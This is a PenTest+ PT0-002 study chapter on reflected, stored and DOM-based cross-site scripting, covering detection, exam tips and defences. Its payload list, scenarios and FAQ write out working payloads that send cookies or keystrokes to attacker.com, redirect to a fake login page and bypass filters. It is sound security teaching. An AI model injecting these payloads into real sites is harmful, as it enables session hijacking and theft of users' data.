PT0-002Chapter 19 of 104Objective 3.2

Cross-Site Scripting (XSS) Types

Cross-Site Scripting (XSS) is one of the most common and dangerous web application vulnerabilities, and it is a core topic for the CompTIA PenTest+ PT0-002 exam, particularly under Domain 3.0 (Attacks and Exploits), Objective 3.2. This chapter provides a comprehensive deep dive into the three primary types of XSS: Reflected, Stored, and DOM-based. You will learn the precise mechanisms, attack vectors, and detection methods for each type. Approximately 8-12% of the exam questions touch on XSS, often requiring you to differentiate between types and identify the correct exploit scenario.

25 min read
Intermediate
Updated May 31, 2026

XSS is Like an Email Spoofing Attack

Imagine a company where employees trust emails that appear to come from the CEO's official address. An attacker sends an email that looks exactly like the CEO's, but it contains a link to a fake login page. When an employee clicks the link and enters their credentials, the attacker captures them. In XSS, the trusted source is a legitimate website, and the malicious script is the deceptive email. The attacker injects a script into a trusted page (the email), and when the user's browser executes it (clicks the link), it performs actions on behalf of the user (sends credentials). The key is that the browser trusts the website because it came from a legitimate source, just like the employee trusted the email because it appeared to be from the CEO. The attacker exploits this trust to execute unauthorized actions.

How It Actually Works

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts into web pages viewed by other users. The injected script executes in the context of the victim's browser, as if it originated from the trusted website. This enables the attacker to bypass the Same-Origin Policy (SOP), steal session cookies, redirect users to malicious sites, deface pages, or perform actions on behalf of the victim.

XSS vulnerabilities arise when a web application includes user-supplied data in its output without proper validation or escaping. The browser trusts the data because it came from the server, but the server unknowingly passed along malicious code.

How XSS Works: The Mechanism

1.

Injection Point: The attacker finds a place where user input is reflected or stored and later rendered in a web page. Common injection points include form fields, URL parameters, HTTP headers, and file uploads.

2.

Payload Delivery: The attacker crafts a payload containing JavaScript code. For example: <script>alert('XSS')</script> or more complex payloads that steal cookies: <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>.

3.

Execution: When the victim's browser loads the page containing the injected script, the browser interprets it as part of the page's HTML/JavaScript and executes it. The script runs with the same privileges as the website's own scripts.

4.

Impact: The attacker can read and modify cookies, send requests to the server (CSRF), access local storage, capture keystrokes, or redirect the user.

Types of XSS

#### Reflected XSS (Non-Persistent)

Mechanism: The malicious script is part of the request (e.g., in a URL query string) and is immediately reflected in the response. It does not persist on the server.

Attack Flow:

- Attacker crafts a URL with the payload: http://victim.com/search?q=<script>alert('XSS')</script> - Victim clicks the link (often via phishing or social engineering). - Server reflects the search term in the response without sanitization. - Browser executes the script. - Detection: Look for input that is echoed back in the response. For example, if you submit test and see test in the HTML, it's likely vulnerable. - Exam Tip: Reflected XSS is often found in search boxes, error messages, and form validation feedback. The payload is typically delivered via a crafted URL or form submission.

#### Stored XSS (Persistent)

Mechanism: The malicious script is stored on the server (e.g., in a database, comment field, or user profile) and served to every user who views the affected page.

Attack Flow:

- Attacker submits a comment containing: <script>alert('XSS')</script> - Server stores the comment in the database. - When other users view the comment, the server sends it as part of the page. - The browser executes the script for each victim. - Detection: Submit a test payload and check if it appears in the page when accessed by another user (or even yourself in a different session). Persistent XSS is more dangerous because it affects multiple users without requiring social engineering. - Exam Tip: Stored XSS is commonly found in forums, comment sections, user bios, and content management systems.

#### DOM-based XSS

Mechanism: The vulnerability exists entirely in the client-side JavaScript code. The server does not process the payload; instead, the malicious input is used by JavaScript to update the DOM (Document Object Model) unsafely.

Attack Flow:

- The web page contains JavaScript that reads user input from document.location or document.URL and writes it to the DOM using innerHTML or document.write. - Attacker crafts a URL like: http://victim.com/page.html#<script>alert('XSS')</script> - The server returns a static HTML page that includes the vulnerable JavaScript. - The JavaScript runs in the browser, reads the fragment identifier (#...), and writes it to the page, causing the script to execute. - Detection: Look for JavaScript that uses document.write, innerHTML, outerHTML, eval, setTimeout, or setInterval with user-controlled data. Testing requires analyzing client-side code. - Exam Tip: DOM-based XSS is often harder to detect because the payload never touches the server. Tools like Burp Suite and browser developer tools are essential.

Key Differences Summary

| Feature | Reflected XSS | Stored XSS | DOM-based XSS | |---------|---------------|------------|---------------| | Payload location | In request (URL/body) | On server (database) | In client-side code (DOM) | | Persistence | No | Yes | No | | Server involvement | Server reflects payload | Server stores and serves | Server may not be involved | | Social engineering required | Yes (phishing link) | No | Yes (crafted URL) | | Impact scope | Single victim per link | All users viewing the page | Single victim per link |

Common XSS Payloads

Alert Proof of Concept: <script>alert('XSS')</script>

Cookie Stealing: <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>

Keylogging: <script>document.onkeypress=function(e){new Image().src='http://attacker.com/k?k='+e.keyCode}</script>

Page Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Phishing: <script>window.location='http://attacker.com/fake-login'</script>

Context Matters: Where the Payload Lands

The same payload can behave differently depending on where it is injected:

HTML context: Inside a <div> or <p> tag. Simple <script> tags work.

Attribute context: Inside a tag attribute like <input value="USER_INPUT">. You may need to break out of the attribute: "><script>alert('XSS')</script>

JavaScript context: Inside a <script> block or event handler like onclick. You may need to break out of string literals: ';alert('XSS');//

URL context: In a link or src attribute. Use javascript:alert('XSS') or break out of quotes.

Detection Techniques for Penetration Testers

1.

Manual Testing: Submit simple payloads like '"<script>alert(1)</script> and observe the response. Use browser developer tools to inspect the DOM.

2.

Burp Suite: Use Repeater to send requests and view responses. Use Intruder to fuzz parameters with XSS payloads.

3.

XSS Hunter: Use an automated tool like XSSer or OWASP ZAP to scan for vulnerabilities.

4.

Browser Console: Check for JavaScript errors that indicate injection points.

Mitigation and Prevention

Input Validation: Validate input against a whitelist of allowed characters.

Output Encoding: Encode data based on context (HTML encode, URL encode, JavaScript encode). Use libraries like OWASP Java Encoder or Microsoft AntiXSS.

Content Security Policy (CSP): Restrict which scripts can execute. For example: Content-Security-Policy: default-src 'self' blocks inline scripts.

HttpOnly Cookies: Set the HttpOnly flag on session cookies to prevent JavaScript access.

Use Safe APIs: Avoid innerHTML and document.write; use textContent or setAttribute instead.

Exam Blueprint Reference

The PT0-002 exam objectives specifically mention: - 3.2 Given a scenario, conduct attacks and exploits using various methods. Includes: Cross-site scripting (XSS) (Reflected, Stored, DOM-based). - You must be able to differentiate between the three types and select the appropriate attack vector. - Know that stored XSS is the most dangerous because it affects multiple users without social engineering. - Understand that DOM-based XSS does not require server interaction and is harder to detect. - Be familiar with common payloads and how to test for each type.

Walk-Through

1

Identify Injection Points

The first step in exploiting XSS is to identify all user input points that are reflected or stored in the application. This includes URL parameters, form fields, HTTP headers (User-Agent, Referer), cookies, and file uploads. For a penetration tester, manually browsing the application and using tools like Burp Suite's Spider or OWASP ZAP to map the attack surface is essential. Look for input that appears in the response without sanitization. For example, submit a unique string like 'XSS_TEST_123' and search for it in the HTML source. If it appears unescaped, it is a candidate for XSS.

2

Craft and Deliver Payload

Based on the context (HTML, attribute, JavaScript, URL), craft a payload that executes JavaScript. For reflected XSS, the payload is typically placed in a URL parameter or form field. For stored XSS, the payload is submitted to a persistent storage like a comment field. For DOM-based XSS, the payload is often in the URL fragment or a parameter read by client-side JavaScript. The payload must be carefully constructed to break out of the existing context. For example, if the input is inside a string in a JavaScript variable, you might use: '-alert(1)-' to break out. Use encoding if necessary to bypass filters.

3

Trigger Execution

For reflected and DOM-based XSS, the victim must be tricked into clicking a specially crafted link or submitting a form. This often involves social engineering via phishing emails or malicious ads. For stored XSS, no social engineering is needed; the payload executes automatically when any user visits the affected page. The attacker simply waits for victims. The execution triggers the malicious script, which can steal cookies, redirect the user, or perform other actions. The impact depends on the privileges of the victim's session.

4

Exfiltrate Data or Perform Actions

Once the script executes, the attacker can capture sensitive data. Common actions include: stealing session cookies by sending them to an attacker-controlled server (e.g., via an image request with the cookie appended to the URL), redirecting the victim to a phishing site, performing actions on behalf of the victim (CSRF), or defacing the page. The script can also make AJAX requests to the server to extract data or modify content. The attacker must have a listener on their server to collect the exfiltrated data. For cookie theft, the cookie must not have the HttpOnly flag set.

5

Escalate or Maintain Access

After initial exploitation, the attacker may attempt to escalate privileges or maintain access. For example, if the stolen cookie belongs to an admin, the attacker can impersonate the admin and perform administrative actions. The attacker might also inject a persistent backdoor script that loads from an external source, ensuring continued access even if the page is refreshed. In some cases, the attacker can use XSS to deface the website or launch further attacks against other users. Pivoting to internal networks may also be possible if the victim's browser has access to internal resources.

What This Looks Like on the Job

Enterprise Scenario 1: E-Commerce Comment System

A large e-commerce platform allows users to post product reviews. The reviews are stored in a database and displayed on product pages. A penetration tester discovers that the review field is vulnerable to stored XSS. The tester submits a review containing <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>. When other users view the product page, their session cookies are sent to the attacker's server. The attacker can then hijack sessions, potentially gaining access to user accounts and making fraudulent purchases. The fix requires encoding output in the review display template and setting the HttpOnly flag on cookies. In production, the site handles thousands of reviews daily; a single XSS can compromise many users. Proper input validation and CSP headers are critical at scale.

Enterprise Scenario 2: Corporate Web Application with Search Function

A company's internal web application has a search box that displays the search term in the results page. The application is used by employees to search for documents. An attacker sends a phishing email to an employee with a link like http://corpsearch.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>. If the employee clicks the link, the reflected XSS executes, sending their session cookie to the attacker. The attacker can then impersonate the employee and access sensitive corporate documents. The company deploys a Web Application Firewall (WAF) but the tester bypasses it using a payload like <img src=x onerror=alert(1)>. The remediation involves context-aware output encoding and using a WAF with proper rules.

Scenario 3: Single Page Application (SPA) with DOM-based XSS

A modern SPA uses JavaScript to handle routing and display user input from the URL fragment. For example, the app reads window.location.hash and inserts it into the page using innerHTML. An attacker crafts a URL like http://app.com/#<img src=x onerror=alert(1)>. When the victim clicks the link, the script executes without any server request. The SPA developer didn't sanitize the hash value. In production, the SPA serves thousands of users; a DOM-based XSS can be difficult to detect with automated scanners because the payload never reaches the server. The fix involves using textContent instead of innerHTML and validating the hash against a whitelist. CSP can also mitigate by blocking inline scripts.

How PT0-002 Actually Tests This

PT0-002 Exam Focus on XSS Types

The PT0-002 exam tests your ability to differentiate between reflected, stored, and DOM-based XSS. Objective 3.2 specifically includes 'Cross-site scripting (XSS) (Reflected, Stored, DOM-based)'. Expect questions that present a scenario and ask you to identify the type or the best attack vector.

Common Wrong Answers and Why Candidates Choose Them

1.

Confusing Reflected and Stored XSS: Many candidates think any XSS that appears in a URL is reflected. However, stored XSS can also be triggered via a URL if the stored payload is in a page that is accessed via a link. The key is whether the payload is stored on the server. Look for persistence: if the payload affects other users without a crafted link, it's stored.

2.

Thinking DOM-based XSS requires server interaction: Some candidates believe DOM-based XSS is just a variant of reflected XSS because the payload is in the URL. However, DOM-based XSS does not involve the server; the payload is processed entirely by client-side JavaScript. The server may not even see the payload (e.g., in the URL fragment).

3.

Assuming all XSS payloads use `<script>` tags: The exam may test alternative payloads like <img src=x onerror=alert(1)> or <svg onload=alert(1)>. Payloads that use event handlers can bypass some filters.

4.

Misidentifying the context: Questions may describe input being reflected inside a JavaScript string or an HTML attribute. Candidates often choose a generic payload that doesn't work in that context. You need to understand how to break out of strings or attributes.

Specific Numbers, Values, and Terms on the Exam

The three types: Reflected, Stored, DOM-based.

Common payload: <script>alert('XSS')</script> for proof of concept.

HttpOnly flag: prevents cookie theft via JavaScript.

Content Security Policy (CSP): a defense that restricts script sources.

Same-Origin Policy: the security mechanism that XSS bypasses.

Edge Cases and Exceptions

Self-XSS: A type where the user injects script that only affects themselves (e.g., through browser console). Not typically tested as a separate type.

Universal XSS (UXSS): Exploits browser bugs to bypass same-origin policy. Rare but appears in advanced questions.

XSS via file upload: If a file name or content is reflected unsafely, it can lead to XSS. This is often stored XSS.

How to Eliminate Wrong Answers

1.

Determine if the payload is stored on the server. If yes, it's stored XSS.

2.

If the payload is in the URL but not stored, check if the server reflects it (reflected XSS) or if client-side JavaScript processes it (DOM-based XSS).

3.

Look for clues about where the input appears: if it's in the URL fragment (#), it's likely DOM-based.

4.

If the question mentions 'no server-side reflection' or 'client-side only', it's DOM-based.

Key Takeaways

There are three primary types of XSS: Reflected, Stored, and DOM-based.

Stored XSS is the most dangerous because it affects multiple users without social engineering.

DOM-based XSS does not require server interaction; the payload is processed entirely in the browser.

Common XSS payloads include `<script>alert('XSS')</script>` and event handlers like `<img src=x onerror=alert(1)>`.

HttpOnly cookies prevent JavaScript from accessing cookies, mitigating cookie theft via XSS.

Content Security Policy (CSP) can block inline scripts and restrict script sources.

Output encoding must be context-aware: HTML encoding, JavaScript encoding, URL encoding.

Reflected XSS often requires a crafted URL delivered via phishing.

Detection tools include Burp Suite, OWASP ZAP, and browser developer tools.

The Same-Origin Policy is the security mechanism that XSS bypasses.

Easy to Mix Up

These come up on the exam all the time. Here's how to tell them apart.

Reflected XSS

Payload is not stored on the server; it appears in the request and is reflected in the response.

Requires social engineering to deliver the crafted URL or form submission to the victim.

Each attack targets a single victim per crafted link.

Common in search boxes, error messages, and form validation.

Detection: Submit test payload and check if it appears in the response.

Stored XSS

Payload is stored on the server (e.g., in a database) and served to all users.

No social engineering required; the payload executes automatically when users view the affected page.

Affects multiple users simultaneously; considered more dangerous.

Common in comment sections, forums, user profiles, and content management systems.

Detection: Submit test payload and check if it persists and appears for other users.

Reflected XSS

Server processes the request and includes the payload in the HTML response.

Payload must be sent to the server (e.g., in URL query string or POST body).

Detection often involves checking server responses for unsanitized input.

Mitigation includes server-side output encoding.

Example: `http://site.com/search?q=<script>alert(1)</script>`

DOM-based XSS

Server may not be involved; payload is processed by client-side JavaScript from the DOM.

Payload often resides in the URL fragment (`#`) or is read from `document.location` without server interaction.

Detection requires analyzing client-side JavaScript code; payload may not appear in server logs.

Mitigation includes secure client-side coding (avoid `innerHTML`, use `textContent`).

Example: `http://site.com/page.html#<img src=x onerror=alert(1)>`

Watch Out for These

Mistake

Reflected XSS is less dangerous than stored XSS because it only affects one user.

Correct

While reflected XSS typically requires social engineering to deliver the payload, it can still affect many users if the phishing campaign is successful. Stored XSS is generally considered more dangerous because it affects all users without additional effort, but reflected XSS can also lead to account takeover and data theft.

Mistake

DOM-based XSS is the same as reflected XSS because the payload is in the URL.

Correct

DOM-based XSS differs because the server does not process the payload; it is handled entirely by client-side JavaScript. In reflected XSS, the server includes the payload in the response. In DOM-based XSS, the payload may never be sent to the server (e.g., in the URL fragment).

Mistake

If an application uses HTTPS, XSS is not possible.

Correct

HTTPS encrypts data in transit but does not prevent XSS. The vulnerability lies in how the application handles user input, not in the transport layer. XSS can occur over HTTPS just as easily as over HTTP.

Mistake

XSS can be prevented by using input validation alone.

Correct

Input validation helps, but it is not sufficient. Output encoding is crucial because the context where the data is placed determines the encoding. For example, HTML encoding is different from JavaScript encoding. A defense-in-depth approach including CSP, HttpOnly cookies, and safe APIs is necessary.

Mistake

Only `<script>` tags can be used for XSS.

Correct

Many other HTML tags and attributes can execute JavaScript, such as `<img src=x onerror=alert(1)>`, `<svg onload=alert(1)>`, `<body onload=alert(1)>`, and `<a href="javascript:alert(1)">`. Attackers often use these to bypass filters that block `<script>` tags.

Do You Actually Know This?

Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.

Frequently Asked Questions

What is the difference between reflected and stored XSS?

The key difference is persistence. In reflected XSS, the malicious payload is part of the request (e.g., URL parameter) and is immediately reflected in the response; it is not stored on the server. In stored XSS, the payload is saved on the server (e.g., in a database) and served to all users who access the affected page. Stored XSS is more dangerous because it can affect many users without requiring social engineering.

How does DOM-based XSS differ from reflected XSS?

In DOM-based XSS, the payload is processed entirely by client-side JavaScript without server involvement. The server may not even see the payload (e.g., if it is in the URL fragment). In reflected XSS, the server receives the payload and includes it in the HTML response. DOM-based XSS is often harder to detect because it does not appear in server logs.

Can XSS be prevented by using input validation?

Input validation is important but not sufficient. Output encoding based on context is crucial. For example, HTML-encode data placed in HTML body, JavaScript-encode data placed in script blocks. Additionally, use Content Security Policy (CSP), HttpOnly cookies, and avoid unsafe JavaScript methods like `innerHTML`.

What is an HttpOnly cookie and how does it help?

An HttpOnly cookie is a cookie that has the HttpOnly flag set, which prevents client-side JavaScript from accessing it via `document.cookie`. This mitigates cookie theft in XSS attacks, but it does not prevent other XSS impacts like page defacement or CSRF.

What is a common payload for XSS proof of concept?

A common proof-of-concept payload is `<script>alert('XSS')</script>`. It triggers a popup to confirm that the script executed. For cookie theft, a payload like `<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>` is used.

How do you test for DOM-based XSS?

Test for DOM-based XSS by analyzing client-side JavaScript for unsafe methods like `innerHTML`, `document.write`, `eval`, or `location` assignment. Use browser developer tools to set breakpoints and watch variable values. Submit payloads in URL fragments or parameters and observe if they are written to the DOM unsafely.

What is the role of Content Security Policy (CSP) in preventing XSS?

CSP is a browser security mechanism that allows the server to specify which sources of scripts are allowed to execute. For example, `Content-Security-Policy: default-src 'self'` blocks all inline scripts and only allows scripts from the same origin. This can prevent XSS even if a vulnerability exists, but it must be carefully configured.

Terms Worth Knowing

Ready to put this to the test?

You've just covered Cross-Site Scripting (XSS) Types — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.

Done with this chapter?